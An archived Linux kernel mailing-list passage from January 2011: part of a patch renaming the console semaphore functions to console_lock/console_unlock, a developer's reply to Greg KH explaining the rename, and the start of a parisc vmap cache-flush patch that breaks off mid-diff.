diff --git a/drivers/video/savage/savagefb_driver.c b/drivers/video/savage/savagefb_driver.c
index 842d157..487911e 100644
--- a/drivers/video/savage/savagefb_driver.c
+++ b/drivers/video/savage/savagefb_driver.c
@@ -2373,7 +2373,7 @@ static int savagefb_suspend(struct pci_dev *dev, pm_message_t mesg)
 	if (mesg.event == PM_EVENT_FREEZE)
 		return 0;
 
-	acquire_console_sem();
+	console_lock();
 	fb_set_suspend(info, 1);
 
 	if (info->fbops->fb_sync)
@@ -2385,7 +2385,7 @@ static int savagefb_suspend(struct pci_dev *dev, pm_message_t mesg)
 	pci_save_state(dev);
 	pci_disable_device(dev);
 	pci_set_power_state(dev, pci_choose_state(dev, mesg));
-	release_console_sem();
+	console_unlock();
 
 	return 0;
 }
@@ -2409,7 +2409,7 @@ static int savagefb_resume(struct pci_dev* dev)
 		return 0;
 	}
 
-	acquire_console_sem();
+	console_lock();
 
 	pci_set_power_state(dev, PCI_D0);
 	pci_restore_state(dev);
@@ -2423,7 +2423,7 @@ static int savagefb_resume(struct pci_dev* dev)
 	savagefb_set_par(info);
 	fb_set_suspend(info, 0);
 	savagefb_blank(FB_BLANK_UNBLANK, info);
-	release_console_sem();
+	console_unlock();
 
 	return 0;
 }
diff --git a/drivers/video/sh_mobile_hdmi.c b/drivers/video/sh_mobile_hdmi.c
index 74d9f54..2b9e56a 100644
--- a/drivers/video/sh_mobile_hdmi.c
+++ b/drivers/video/sh_mobile_hdmi.c
@@ -1151,7 +1151,7 @@ static void sh_hdmi_edid_work_fn(struct work_struct *work)
 
 		ch = info->par;
 
-		acquire_console_sem();
+		console_lock();
 
 		/* HDMI plug in */
 		if (!sh_hdmi_must_reconfigure(hdmi) &&
@@ -1171,7 +1171,7 @@ static void sh_hdmi_edid_work_fn(struct work_struct *work)
 			fb_set_suspend(info, 0);
 		}
 
-		release_console_sem();
+		console_unlock();
 	} else {
 		ret = 0;
 		if (!hdmi->info)
@@ -1181,12 +1181,12 @@ static void sh_hdmi_edid_work_fn(struct work_struct *work)
 		fb_destroy_modedb(hdmi->monspec.modedb);
 		hdmi->monspec.modedb = NULL;
 
-		acquire_console_sem();
+		console_lock();
 
 		/* HDMI disconnect */
 		fb_set_suspend(hdmi->info, 1);
 
-		release_console_sem();
+		console_unlock();
 		pm_runtime_put(hdmi->dev);
 	}
 
diff --git a/drivers/video/sh_mobile_lcdcfb.c b/drivers/video/sh_mobile_lcdcfb.c
index bd4840a..bf12e53 100644
--- a/drivers/video/sh_mobile_lcdcfb.c
+++ b/drivers/video/sh_mobile_lcdcfb.c
@@ -912,9 +912,9 @@ static int sh_mobile_release(struct fb_info *info, int user)
 
 	/* Nothing to reconfigure, when called from fbcon */
 	if (user) {
-		acquire_console_sem();
+		console_lock();
 		sh_mobile_fb_reconfig(info);
-		release_console_sem();
+		console_unlock();
 	}
 
 	mutex_unlock(&ch->open_lock);
diff --git a/drivers/video/sm501fb.c b/drivers/video/sm501fb.c
index b7dc180..bcb44a5 100644
--- a/drivers/video/sm501fb.c
+++ b/drivers/video/sm501fb.c
@@ -2010,9 +2010,9 @@ static int sm501fb_suspend_fb(struct sm501fb_info *info,
 
 	/* tell console/fb driver we are suspending */
 
-	acquire_console_sem();
+	console_lock();
 	fb_set_suspend(fbi, 1);
-	release_console_sem();
+	console_unlock();
 
 	/* backup copies in case chip is powered down over suspend */
 
@@ -2069,9 +2069,9 @@ static void sm501fb_resume_fb(struct sm501fb_info *info,
 		memcpy_toio(par->cursor.k_addr, par->store_cursor,
 			    par->cursor.size);
 
-	acquire_console_sem();
+	console_lock();
 	fb_set_suspend(fbi, 0);
-	release_console_sem();
+	console_unlock();
 
 	vfree(par->store_fb);
 	vfree(par->store_cursor);
diff --git a/drivers/video/tmiofb.c b/drivers/video/tmiofb.c
index 6913fe1..dfef88c 100644
--- a/drivers/video/tmiofb.c
+++ b/drivers/video/tmiofb.c
@@ -25,7 +25,7 @@
 #include <linux/fb.h>
 #include <linux/interrupt.h>
 #include <linux/delay.h>
-/* Why should fb driver call console functions? because acquire_console_sem() */
+/* Why should fb driver call console functions? because console_lock() */
 #include <linux/console.h>
 #include <linux/mfd/core.h>
 #include <linux/mfd/tmio.h>
@@ -944,7 +944,7 @@ static int tmiofb_suspend(struct platform_device *dev, pm_message_t state)
 	struct mfd_cell *cell = dev->dev.platform_data;
 	int retval = 0;
 
-	acquire_console_sem();
+	console_lock();
 
 	fb_set_suspend(info, 1);
 
@@ -965,7 +965,7 @@ static int tmiofb_suspend(struct platform_device *dev, pm_message_t state)
 	if (cell->suspend)
 		retval = cell->suspend(dev);
 
-	release_console_sem();
+	console_unlock();
 
 	return retval;
 }
@@ -976,7 +976,7 @@ static int tmiofb_resume(struct platform_device *dev)
 	struct mfd_cell *cell = dev->dev.platform_data;
 	int retval = 0;
 
-	acquire_console_sem();
+	console_lock();
 
 	if (cell->resume) {
 		retval = cell->resume(dev);
@@ -992,7 +992,7 @@ static int tmiofb_resume(struct platform_device *dev)
 
 	fb_set_suspend(info, 0);
 out:
-	release_console_sem();
+	console_unlock();
 	return retval;
 }
 #else
diff --git a/drivers/video/via/viafbdev.c b/drivers/video/via/viafbdev.c
index 289edd5..4e66349 100644
--- a/drivers/video/via/viafbdev.c
+++ b/drivers/video/via/viafbdev.c
@@ -1674,17 +1674,17 @@ static int parse_mode(const char *str, u32 *xres, u32 *yres)
 #ifdef CONFIG_PM
 static int viafb_suspend(void *unused)
 {
-	acquire_console_sem();
+	console_lock();
 	fb_set_suspend(viafbinfo, 1);
 	viafb_sync(viafbinfo);
-	release_console_sem();
+	console_unlock();
 
 	return 0;
 }
 
 static int viafb_resume(void *unused)
 {
-	acquire_console_sem();
+	console_lock();
 	if (viaparinfo->shared->vdev->engine_mmio)
 		viafb_reset_engine(viaparinfo);
 	viafb_set_par(viafbinfo);
@@ -1692,7 +1692,7 @@ static int viafb_resume(void *unused)
 		viafb_set_par(viafbinfo1);
 	fb_set_suspend(viafbinfo, 0);
 
-	release_console_sem();
+	console_unlock();
 	return 0;
 }
 
diff --git a/drivers/video/vt8623fb.c b/drivers/video/vt8623fb.c
index 85d76ec..a2965ab 100644
--- a/drivers/video/vt8623fb.c
+++ b/drivers/video/vt8623fb.c
@@ -23,7 +23,7 @@
 #include <linux/svga.h>
 #include <linux/init.h>
 #include <linux/pci.h>
-#include <linux/console.h> /* Why should fb driver call console functions? because acquire_console_sem() */
+#include <linux/console.h> /* Why should fb driver call console functions? because console_lock() */
 #include <video/vga.h>
 
 #ifdef CONFIG_MTRR
@@ -819,12 +819,12 @@ static int vt8623_pci_suspend(struct pci_dev* dev, pm_message_t state)
 
 	dev_info(info->device, "suspend\n");
 
-	acquire_console_sem();
+	console_lock();
 	mutex_lock(&(par->open_lock));
 
 	if ((state.event == PM_EVENT_FREEZE) || (par->ref_count == 0)) {
 		mutex_unlock(&(par->open_lock));
-		release_console_sem();
+		console_unlock();
 		return 0;
 	}
 
@@ -835,7 +835,7 @@ static int vt8623_pci_suspend(struct pci_dev* dev, pm_message_t state)
 	pci_set_power_state(dev, pci_choose_state(dev, state));
 
 	mutex_unlock(&(par->open_lock));
-	release_console_sem();
+	console_unlock();
 
 	return 0;
 }
@@ -850,7 +850,7 @@ static int vt8623_pci_resume(struct pci_dev* dev)
 
 	dev_info(info->device, "resume\n");
 
-	acquire_console_sem();
+	console_lock();
 	mutex_lock(&(par->open_lock));
 
 	if (par->ref_count == 0)
@@ -869,7 +869,7 @@ static int vt8623_pci_resume(struct pci_dev* dev)
 
 fail:
 	mutex_unlock(&(par->open_lock));
-	release_console_sem();
+	console_unlock();
 
 	return 0;
 }
diff --git a/drivers/video/xen-fbfront.c b/drivers/video/xen-fbfront.c
index 3e6934d..a20218c 100644
--- a/drivers/video/xen-fbfront.c
+++ b/drivers/video/xen-fbfront.c
@@ -491,12 +491,12 @@ xenfb_make_preferred_console(void)
 	if (console_set_on_cmdline)
 		return;
 
-	acquire_console_sem();
+	console_lock();
 	for_each_console(c) {
 		if (!strcmp(c->name, "tty") && c->index == 0)
 			break;
 	}
-	release_console_sem();
+	console_unlock();
 	if (c) {
 		unregister_console(c);
 		c->flags |= CON_CONSDEV;
diff --git a/fs/proc/consoles.c b/fs/proc/consoles.c
index eafc22a..b701eaa 100644
--- a/fs/proc/consoles.c
+++ b/fs/proc/consoles.c
@@ -67,7 +67,7 @@ static void *c_start(struct seq_file *m, loff_t *pos)
 	struct console *con;
 	loff_t off = 0;
 
-	acquire_console_sem();
+	console_lock();
 	for_each_console(con)
 		if (off++ == *pos)
 			break;
@@ -84,7 +84,7 @@ static void *c_next(struct seq_file *m, void *v, loff_t *pos)
 
 static void c_stop(struct seq_file *m, void *v)
 {
-	release_console_sem();
+	console_unlock();
 }
 
 static const struct seq_operations consoles_op = {
diff --git a/include/linux/console.h b/include/linux/console.h
index 9774fe6..7453cfd 100644
--- a/include/linux/console.h
+++ b/include/linux/console.h
@@ -139,9 +139,9 @@ extern int update_console_cmdline(char *name, int idx, char *name_new, int idx_n
 extern void register_console(struct console *);
 extern int unregister_console(struct console *);
 extern struct console *console_drivers;
-extern void acquire_console_sem(void);
-extern int try_acquire_console_sem(void);
-extern void release_console_sem(void);
+extern void console_lock(void);
+extern int console_trylock(void);
+extern void console_unlock(void);
 extern void console_conditional_schedule(void);
 extern void console_unblank(void);
 extern struct tty_driver *console_device(int *);
diff --git a/kernel/printk.c b/kernel/printk.c
index 53d9a9e..ef85a8e 100644
--- a/kernel/printk.c
+++ b/kernel/printk.c
@@ -97,7 +97,7 @@ static int console_locked, console_suspended;
 /*
  * logbuf_lock protects log_buf, log_start, log_end, con_start and logged_chars
  * It is also used in interesting ways to provide interlocking in
- * release_console_sem().
+ * console_unlock();.
  */
 static DEFINE_SPINLOCK(logbuf_lock);
 
@@ -501,7 +501,7 @@ static void _call_console_drivers(unsigned start,
 /*
  * Call the console drivers, asking them to write out
  * log_buf[start] to log_buf[end - 1].
- * The console_sem must be held.
+ * The console_lock must be held.
  */
 static void call_console_drivers(unsigned start, unsigned end)
 {
@@ -604,11 +604,11 @@ static int have_callable_console(void)
  *
  * This is printk().  It can be called from any context.  We want it to work.
  *
- * We try to grab the console_sem.  If we succeed, it's easy - we log the output and
+ * We try to grab the console_lock.  If we succeed, it's easy - we log the output and
  * call the console drivers.  If we fail to get the semaphore we place the output
  * into the log buffer and return.  The current holder of the console_sem will
- * notice the new output in release_console_sem() and will send it to the
- * consoles before releasing the semaphore.
+ * notice the new output in console_unlock(); and will send it to the
+ * consoles before releasing the lock.
  *
  * One effect of this deferred printing is that code which calls printk() and
  * then changes console_loglevel may break. This is because console_loglevel
@@ -659,19 +659,19 @@ static inline int can_use_console(unsigned int cpu)
 /*
  * Try to get console ownership to actually show the kernel
  * messages from a 'printk'. Return true (and with the
- * console_semaphore held, and 'console_locked' set) if it
+ * console_lock held, and 'console_locked' set) if it
  * is successful, false otherwise.
  *
  * This gets called with the 'logbuf_lock' spinlock held and
  * interrupts disabled. It should return with 'lockbuf_lock'
  * released but interrupts still disabled.
  */
-static int acquire_console_semaphore_for_printk(unsigned int cpu)
+static int console_trylock_for_printk(unsigned int cpu)
 	__releases(&logbuf_lock)
 {
 	int retval = 0;
 
-	if (!try_acquire_console_sem()) {
+	if (console_trylock()) {
 		retval = 1;
 
 		/*
@@ -827,12 +827,12 @@ asmlinkage int vprintk(const char *fmt, va_list args)
 	 * actual magic (print out buffers, wake up klogd,
 	 * etc). 
 	 *
-	 * The acquire_console_semaphore_for_printk() function
+	 * The console_trylock_for_printk() function
 	 * will release 'logbuf_lock' regardless of whether it
 	 * actually gets the semaphore or not.
 	 */
-	if (acquire_console_semaphore_for_printk(this_cpu))
-		release_console_sem();
+	if (console_trylock_for_printk(this_cpu))
+		console_unlock();
 
 	lockdep_on();
 out_restore_irqs:
@@ -993,7 +993,7 @@ void suspend_console(void)
 	if (!console_suspend_enabled)
 		return;
 	printk("Suspending console(s) (use no_console_suspend to debug)\n");
-	acquire_console_sem();
+	console_lock();;
 	console_suspended = 1;
 	up(&console_sem);
 }
@@ -1004,7 +1004,7 @@ void resume_console(void)
 		return;
 	down(&console_sem);
 	console_suspended = 0;
-	release_console_sem();
+	console_unlock();
 }
 
 /**
@@ -1027,21 +1027,21 @@ static int __cpuinit console_cpu_notify(struct notifier_block *self,
 	case CPU_DYING:
 	case CPU_DOWN_FAILED:
 	case CPU_UP_CANCELED:
-		acquire_console_sem();
-		release_console_sem();
+		console_lock();;
+		console_unlock();
 	}
 	return NOTIFY_OK;
 }
 
 /**
- * acquire_console_sem - lock the console system for exclusive use.
+ * console_lock - lock the console system for exclusive use.
  *
- * Acquires a semaphore which guarantees that the caller has
+ * Acquires a lock which guarantees that the caller has
  * exclusive access to the console system and the console_drivers list.
  *
  * Can sleep, returns nothing.
  */
-void acquire_console_sem(void)
+void console_lock(void)
 {
 	BUG_ON(in_interrupt());
 	down(&console_sem);
@@ -1050,21 +1050,29 @@ void acquire_console_sem(void)
 	console_locked = 1;
 	console_may_schedule = 1;
 }
-EXPORT_SYMBOL(acquire_console_sem);
+EXPORT_SYMBOL(console_lock);
 
-int try_acquire_console_sem(void)
+/**
+ * console_trylock - try to lock the console system for exclusive use.
+ *
+ * Tried to acquire a lock which guarantees that the caller has
+ * exclusive access to the console system and the console_drivers list.
+ *
+ * returns -1 on success, and 0 on failure to acquire the lock.
+ */
+int console_trylock(void)
 {
 	if (down_trylock(&console_sem))
-		return -1;
+		return 0;
 	if (console_suspended) {
 		up(&console_sem);
-		return -1;
+		return 0;
 	}
 	console_locked = 1;
 	console_may_schedule = 0;
-	return 0;
+	return -1;
 }
-EXPORT_SYMBOL(try_acquire_console_sem);
+EXPORT_SYMBOL(console_trylock);
 
 int is_console_locked(void)
 {
@@ -1095,20 +1103,20 @@ void wake_up_klogd(void)
 }
 
 /**
- * release_console_sem - unlock the console system
+ * console_unlock - unlock the console system
  *
- * Releases the semaphore which the caller holds on the console system
+ * Releases the console_lock which the caller holds on the console system
  * and the console driver list.
  *
- * While the semaphore was held, console output may have been buffered
- * by printk().  If this is the case, release_console_sem() emits
- * the output prior to releasing the semaphore.
+ * While the console_lock was held, console output may have been buffered
+ * by printk().  If this is the case, console_unlock(); emits
+ * the output prior to releasing the lock.
  *
  * If there is output waiting for klogd, we wake it up.
  *
- * release_console_sem() may be called from any context.
+ * console_unlock(); may be called from any context.
  */
-void release_console_sem(void)
+void console_unlock(void)
 {
 	unsigned long flags;
 	unsigned _con_start, _log_end;
@@ -1141,7 +1149,7 @@ void release_console_sem(void)
 	if (wake_klogd)
 		wake_up_klogd();
 }
-EXPORT_SYMBOL(release_console_sem);
+EXPORT_SYMBOL(console_unlock);
 
 /**
  * console_conditional_schedule - yield the CPU if required
@@ -1150,7 +1158,7 @@ EXPORT_SYMBOL(release_console_sem);
  * if this CPU should yield the CPU to another task, do
  * so here.
  *
- * Must be called within acquire_console_sem().
+ * Must be called within console_lock();.
  */
 void __sched console_conditional_schedule(void)
 {
@@ -1171,14 +1179,14 @@ void console_unblank(void)
 		if (down_trylock(&console_sem) != 0)
 			return;
 	} else
-		acquire_console_sem();
+		console_lock();
 
 	console_locked = 1;
 	console_may_schedule = 0;
 	for_each_console(c)
 		if ((c->flags & CON_ENABLED) && c->unblank)
 			c->unblank();
-	release_console_sem();
+	console_unlock();
 }
 
 /*
@@ -1189,7 +1197,7 @@ struct tty_driver *console_device(int *index)
 	struct console *c;
 	struct tty_driver *driver = NULL;
 
-	acquire_console_sem();
+	console_lock();
 	for_each_console(c) {
 		if (!c->device)
 			continue;
@@ -1197,7 +1205,7 @@ struct tty_driver *console_device(int *index)
 		if (driver)
 			break;
 	}
-	release_console_sem();
+	console_unlock();
 	return driver;
 }
 
@@ -1208,17 +1216,17 @@ struct tty_driver *console_device(int *index)
  */
 void console_stop(struct console *console)
 {
-	acquire_console_sem();
+	console_lock();
 	console->flags &= ~CON_ENABLED;
-	release_console_sem();
+	console_unlock();
 }
 EXPORT_SYMBOL(console_stop);
 
 void console_start(struct console *console)
 {
-	acquire_console_sem();
+	console_lock();
 	console->flags |= CON_ENABLED;
-	release_console_sem();
+	console_unlock();
 }
 EXPORT_SYMBOL(console_start);
 
@@ -1340,7 +1348,7 @@ void register_console(struct console *newcon)
 	 *	Put this console in the list - keep the
 	 *	preferred driver at the head of the list.
 	 */
-	acquire_console_sem();
+	console_lock();
 	if ((newcon->flags & CON_CONSDEV) || console_drivers == NULL) {
 		newcon->next = console_drivers;
 		console_drivers = newcon;
@@ -1352,14 +1360,14 @@ void register_console(struct console *newcon)
 	}
 	if (newcon->flags & CON_PRINTBUFFER) {
 		/*
-		 * release_console_sem() will print out the buffered messages
+		 * console_unlock(); will print out the buffered messages
 		 * for us.
 		 */
 		spin_lock_irqsave(&logbuf_lock, flags);
 		con_start = log_start;
 		spin_unlock_irqrestore(&logbuf_lock, flags);
 	}
-	release_console_sem();
+	console_unlock();
 	console_sysfs_notify();
 
 	/*
@@ -1396,7 +1404,7 @@ int unregister_console(struct console *console)
 		return braille_unregister_console(console);
 #endif
 
-	acquire_console_sem();
+	console_lock();
 	if (console_drivers == console) {
 		console_drivers=console->next;
 		res = 0;
@@ -1418,7 +1426,7 @@ int unregister_console(struct console *console)
 	if (console_drivers != NULL && console->flags & CON_CONSDEV)
 		console_drivers->flags |= CON_CONSDEV;
 
-	release_console_sem();
+	console_unlock();
 	console_sysfs_notify();
 	return res;
 }
-- 
1.7.2.3

From - Thu Nov 08 21:06:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: torbenh <torbenh@gmx.de>
Newsgroups: gmane.comp.video.dri.devel,gmane.comp.emulators.xen.devel,gmane.linux.ports.parisc,gmane.linux.ports.geode,gmane.linux.ports.arm.omap,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] change acquire/release_console_sem() to
	console_lock/unlock()
Followup-To: gmane.linux.kernel
Date: Thu, 20 Jan 2011 17:55:02 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20110120165502.GA10832@siel.b>
References: <1295539104-13210-1-git-send-email-torbenh@gmx.de>
	<20110120163448.GA30588@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295544462 9513 80.91.229.12 (20 Jan 2011 17:27:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 20 Jan 2011 17:27:42 +0000 (UTC)
Cc: xen-devel@lists.xensource.com, Kees Cook <kees.cook@canonical.com>,
	linux-fbdev@vger.kernel.org, Sascha Hauer <s.hauer@pengutronix.de>,
	James Hogan <james@albanarts.com>, James Morris <jmorris@namei.org>,
	Grant Likely <grant.likely@secretlab.ca>,
	Paul Mackerras <paulus@samba.org>, linux-parisc@vger.kernel.org,
	Magnus Damm <damm@opensource.se>, Jiri Slaby <jslaby@suse.cz>,
	Dan Williams <dan.j.williams@intel.com>,
	devel@driverdev.osuosl.org, Guy Martin <gmsoft@tuxicoman.be>,
	Kuninori Morimoto <kuninori.morimoto.gx@renesas.com>,
	Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>,
	Russell King <linux@arm.linux.org.uk>, Thomas Gleixner <tglx@tglx.de>,
	Wu Zhangjin <wuzhangjin@gmail.com>,
	Florian Tobias Schandinat <FlorianSchandinat@gmx.de>,
	Lionel Debroux <lionel_debroux@yahoo.fr>,
	Helge Deller <deller@gmx.de>, Kay Sievers <kay.sievers@vrfy.org>,
	"James E.J. Bottomley" <je
To: Greg KH <gregkh@suse.de>
Original-X-From: dri-devel-bounces+sf-dri-devel=m.gmane.org@lists.freedesktop.org Thu Jan 20 18:27:22 2011
Return-path: <dri-devel-bounces+sf-dri-devel=m.gmane.org@lists.freedesktop.org>
Envelope-to: sf-dri-devel@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <dri-devel-bounces+sf-dri-devel=m.gmane.org@lists.freedesktop.org>)
	id 1PfyI3-0007jt-NC
	for sf-dri-devel@m.gmane.org; Thu, 20 Jan 2011 18:27:20 +0100
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id DD3779EB23
	for <sf-dri-devel@m.gmane.org>; Thu, 20 Jan 2011 09:27:18 -0800 (PST)
X-Original-To: dri-devel@lists.freedesktop.org
Delivered-To: dri-devel@lists.freedesktop.org
Original-Received: from mailout-de.gmx.net (mailout-de.gmx.net [213.165.64.22])
	by gabe.freedesktop.org (Postfix) with SMTP id B1F619E733
	for <dri-devel@lists.freedesktop.org>;
	Thu, 20 Jan 2011 08:55:34 -0800 (PST)
Original-Received: (qmail invoked by alias); 20 Jan 2011 16:55:32 -0000
Original-Received: from d90-136-199-101.cust.tele2.de (EHLO siel.b) [90.136.199.101]
	by mail.gmx.net (mp048) with SMTP; 20 Jan 2011 17:55:32 +0100
X-Authenticated: #911537
X-Provags-ID: V01U2FsdGVkX1/5z85hs1f586dJQkfsPphc25MskkCQiLf7pgzWZa
	tyTIK4PajTmrgW
Original-Received: from torbenh by siel.b with local (Exim 4.72)
	(envelope-from <torbenh@gmx.de>)
	id 1Pfxmo-0003X6-Kx; Thu, 20 Jan 2011 17:55:02 +0100
Mail-Followup-To: Greg KH <gregkh@suse.de>, linux-kernel@vger.kernel.org,
	Thomas Gleixner <tglx@tglx.de>,
	Kevin Hilman <khilman@deeprootsystems.com>,
	Tony Lindgren <tony@atomide.com>,
	Russell King <linux@arm.linux.org.uk>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	David Airlie <airlied@linux.ie>, Paul Mackerras <paulus@samba.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Antonino Daplas <adaplas@gmail.com>,
	Geoff Levand <geoff@infradead.org>,
	Florian Tobias Schandinat <FlorianSchandinat@gmx.de>,
	Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>,
	Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>,
	Jiri Slaby <jslaby@suse.cz>, Guy Martin <gmsoft@tuxicoman.be>,
	Tejun Heo <tj@kernel.org>, Ben Skeggs <bskeggs@redhat.com>,
	Francisco Jerez <currojerez@riseup.net>,
	Dave Airlie <airlied@redhat.com>,
	D 
Content-Disposition: inline
In-Reply-To: <20110120163448.GA30588@suse.de>
User-Agent: Mutt/1.5.20 (2009-06-14)
X-Y-GMX-Trusted: 0
X-Mailman-Approved-At: Thu, 20 Jan 2011 09:24:48 -0800
X-BeenThere: dri-devel@lists.freedesktop.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: Direct Rendering Infrastructure - Development
	<dri-devel.lists.freedesktop.org>
List-Unsubscribe: <http://lists.freedesktop.org/mailman/options/dri-devel>,
	<mailto:dri-devel-request@lists.freedesktop.org?subject=unsubscribe>
List-Archive: <http://lists.freedesktop.org/archives/dri-devel>
List-Post: <mailto:dri-devel@lists.freedesktop.org>
List-Help: <mailto:dri-devel-request@lists.freedesktop.org?subject=help>
List-Subscribe: <http://lists.freedesktop.org/mailman/listinfo/dri-devel>,
	<mailto:dri-devel-request@lists.freedesktop.org?subject=subscribe>
Original-Sender: dri-devel-bounces+sf-dri-devel=m.gmane.org@lists.freedesktop.org
Errors-To: dri-devel-bounces+sf-dri-devel=m.gmane.org@lists.freedesktop.org
Xref: news.gmane.org gmane.comp.video.dri.devel:53600 gmane.comp.emulators.xen.devel:97404 gmane.linux.ports.parisc:3401 gmane.linux.ports.geode:272 gmane.linux.ports.arm.omap:50566 gmane.linux.ports.arm.kernel:103411 gmane.linux.kernel:1089791 gmane.linux.ports.ppc64.devel:72171
Archived-At: <http://permalink.gmane.org/gmane.comp.video.dri.devel/53600>

On Thu, Jan 20, 2011 at 08:34:48AM -0800, Greg KH wrote:
> On Thu, Jan 20, 2011 at 04:58:13PM +0100, Torben Hohn wrote:
> > the -rt patches change the console_semaphore to console_mutex.
> > so a quite large chunk of the patches changes all
> > acquire/release_console_sem() to acquire/release_console_mutex()
> 
> Why not just change the functionality of the existing function to be a
> mutex in the rt patches, instead of having to rename it everywhere?

i hope that Thomas already did this in his upcoming -rt series.

> 
> > this commit makes things use more neutral function names
> > which dont make implications about the underlying lock.
> > 
> > the only real change is the return value of console_trylock
> > which is inverted from try_acquire_console_sem()
> > 
> > Signed-off-by: Torben Hohn <torbenh@gmx.de>
> > CC: Thomas Gleixner <tglx@tglx.de>
> 
> I don't mind this rename, but is it really going to help anything out?
> What's the odds of the -rt portion of this patch ever making it to
> mainline?

the -rt portion only changes the semaphore to a mutex.
since the console_sem is used with mutex semantics, i dont see any
reason, not to merge that portion too. 

i am just trying to shrink the -rt patch to make it more maintanable :)

> 
> thanks,
> 
> greg k-h

-- 
torben Hohn

From - Thu Nov 08 21:06:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: improve vmap flush/invalidate
Date: Thu, 20 Jan 2011 12:54:18 -0600
Lines: 59
Approved: news@gmane.org
Message-ID: <1295549658.3014.19.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295549669 6806 80.91.229.12 (20 Jan 2011 18:54:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 20 Jan 2011 18:54:29 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 20 19:54:25 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PfzeK-0007f5-5v
	for glpp-linux-parisc@lo.gmane.org; Thu, 20 Jan 2011 19:54:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753634Ab1ATSyX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Jan 2011 13:54:23 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:50365 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753523Ab1ATSyW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Jan 2011 13:54:22 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 022318EE0F5
	for <linux-parisc@vger.kernel.org>; Thu, 20 Jan 2011 10:54:22 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id pex2rF5iCFro for <linux-parisc@vger.kernel.org>;
	Thu, 20 Jan 2011 10:54:21 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id A46768EE0CD
	for <linux-parisc@vger.kernel.org>; Thu, 20 Jan 2011 10:54:21 -0800 (PST)
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3402
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3402>

On parisc, we never implemented invalidate_kernel_vmap_range() because
it was unnecessary for the xfs use case.  However, we do need to
implement an invalidate for the opposite use case (which occurred in a
recent NFS change) where the user wants to read through the vmap range
and write via the kernel address.  There's an additional complexity to
this in that if the page has no userspace mappings, it might have dirty
cache lines in the kernel (indicated by the PG_dcache_dirty bit).  In
order to get full coherency, we need to flush these pages through the
kernel mapping before invalidating the vmap range.

James

---

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index f388a85..df6c56d 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -37,6 +37,13 @@ void flush_cache_all_local(void);
 void flush_cache_all(void);
 void flush_cache_mm(struct mm_struct *mm);
 
+#define ARCH_HAS_FLUSH_KERNEL_DCACHE_PAGE
+void flush_kernel_dcache_page_addr(void *addr);
+static inline void flush_kernel_dcache_page(struct page *page)
+{
+	flush_kernel_dcache_page_addr(page_address(page));
+}
+
 #define flush_kernel_dcache_range(start,size) \
 	flush_kernel_dcache_range_asm((start), (start)+(size));
 /* vmap range flushes and invalidates.  Architecturally, we don't need
@@ -50,6 +57,16 @@ static inline void flush_kernel_vmap_range(void *vaddr, int size)
 }
 static inline void invalidate_kernel_vmap_range(void *vaddr, int size)
 {
+	unsigned long start = (unsigned long)vaddr;
+	void *cursor = vaddr;
+
+	for ( ; cursor < vaddr + size; cursor += PAGE_SIZE) {
+		struct page *page = vmalloc_to_page(cursor);
+
+		if (test_and_clear_bit(PG_dcache_dirty, &page->flags))
+			flush_kernel_dcache_page(page);
+	}
